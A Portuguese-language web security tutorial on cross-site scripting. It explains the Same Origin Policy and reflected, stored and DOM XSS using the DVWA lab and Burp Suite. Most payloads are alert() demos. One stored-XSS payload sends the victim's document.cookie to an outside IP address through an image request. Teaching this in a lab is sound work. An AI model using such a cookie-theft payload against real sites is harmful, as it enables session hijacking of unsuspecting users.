SOP

Antes de falarmos diretamente de XSS precisamos entender um conceito chamado Same Origin Policy
Same Origin Policy é o um método que impede qualquer website de ler ou enviar informações de um site para o outro
Ele é fundamento em 3 coisas:
O protocolo, como o HTTP ou HTTPS , o Host que é o IP ou o “nome” do site e por fim a porta
Se os 3 são iguais, o navegador vai autorizar esse fluxo entre 2 origens diferentes
No caso se a origem https://google.com tenta enviar informações para https://google.com ele vai conseguir
O protocolo para ambos é HTTPS
O Host para ambos é google.com
E a Porta para ambos é a 443 (HTTPS)
Normalmente a SOP impede que um payload seja executado se ele vier de outra origem e isso é bom, porém o XSS não é limitado pela SOP.
E ai está a razão desse ataque ser tão popular.
Ok, entendemos essa parte. agora vamos falar de XSS

XSS

Essa vulnerabilidade consiste em fornecer um input ao sistema que vai ser interpretado como Javascript ou HTML pelo sistema
A questão aqui é que podemos controlar esses inputs para executarmos códigos criados por nós mesmos
Vamos ver isso diretamente como um exemplo.
No nosso DVWA

Na opção de Reflected XSS(Já vamos falar dos tipos) Podemos colocar o nosso nome e a plataforma retorna isso em tela para nós

Vamos enviar isso para o Burp e analisar com mais detalhes o que está acontecendo.

Enviamos um GET para a plataforma com um parâmetro “name=” Ao nosso input
Se Clicarmos com o botão direito e depois a opção interceptar a resposta

E agora “Foward”
Aqui podemos verificar como o sistema interpretou essa requisição
Nesse caso o nosso input foi integrado ao HTML da página

Agora o que aconteceria se em vez de e eu escrever o meu nome eu enviar um código de JavaScript

<script>alert("Se Inscreve No Canal")</script>

Esse código está abrindo uma tag de script e criado um alert que nada mais é que uma tela que vai abrir no navegador
Como isso está sendo integrado ao HTML da página, o sistema vai tentar interpretar a tag e não apenas disponibilizar ela
Isso faz com que a plataforma execute o código que colocamos como payload

Tipos

Refleted

O input é retornado pela resposta e o código é executado, assim como vimos anteriormente.
Assim que colocamos o nosso input ele é retornado dentro do HTML da reposta.
Essa é a forma mais simples de XSS
Note que caso a plataforma seja carregada apenas com a página normal o ataque é removido, pois ele precisa ser passado dentro do parâmetro.

Stored

O Input fica salva dentro de um banco de dados, então ele vai retornar sempre que a página for carregada, independente de o payload ser passado.
Essa forma é muito mais perigosa, pois a vitima só precisa visitar a página para que ela seja infectada.

No caso do DVWA vemos um formulário que salva o nosso input na página.

Novamente, vamos colocar JS em no nosso input e ver o que acontece

Disparamos o Alerta, mas a grande diferença aqui é que esse alerta vai disparar SEMPRE que abrirmos essa página
Mesmo sem nenhum parâmetro sendo informado.

DOM

Esse é um caso um pouco diferente, onde o ataque vem de uma modificação da DOM.
DOM é forma que um documento é representado em JS
A resposta da nossa requisição continua exatamente a mesma mas alterações do código fazem a vulnerabilidade aparecer.
Esse é um tipo um pouco mais complicado de entender comparado aos outros dois
Em vez de utilizarmos um formulário, esse payload ocorre normalmente na URL
Então o servidor não armazena nada e nem retorna novo HTML
Vamos ver o exemplo disso

Alterando o dropdown a URL muda de acordo com a seleção

Se olharmos o código fonte da página o HTML é exatamente o mesmo para seleções diferentes
Se analisarmos isso no Burp

O Content-Length não altera mesmo se mudarmos o “default=”
Se eu criar um novo valor para o DropDown utilizando a URL

O código altera para incluir esse novo valor
Então ai está o nosso ponto de injeção, na própria URL
A DOM muitas vezes depende de gerar tags diferentes(Não é o caso do DVWA)
Mas analisar o código fonte e entender o que está acontecendo é fundamental para esse tipo de vulnerabilidade.

Extrair informações importantes

Existem diversas informações que podemos extrair utilizando uma XSS, o detalhe aqui é que o céu é o limite, já que podemos executar qualquer coisa em JavaScript
Na minha opinião o dado mais importante que um usuário sempre carrega é o Cookie.
Digamos que dentro da nossa área de Stored XSS criamos um payload para receber o cookie do

<script>
alert(document.cookie);
var i=new Image;
i.src="https://192.168.140.137/?"+document.cookie;
</script>

Ferramentas

PortSwigger Cheat Sheet

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Essa página permite você criar payloads com mais rapidez.
É só selecionar o tipo de tag, o evento que dispara essa condição e para qual navegador.

E o sistema gera uma série de payloads para você utilizar

Xss Hunter

Uma ótima plataforma para criar payloads para Blind XSS, ele disponibiliza uma série de códigos que você pode usar e ele vai sinalizar se foi ou não recebido algum tipo de chamada

Cross-Site Scripiting

SOP

XSS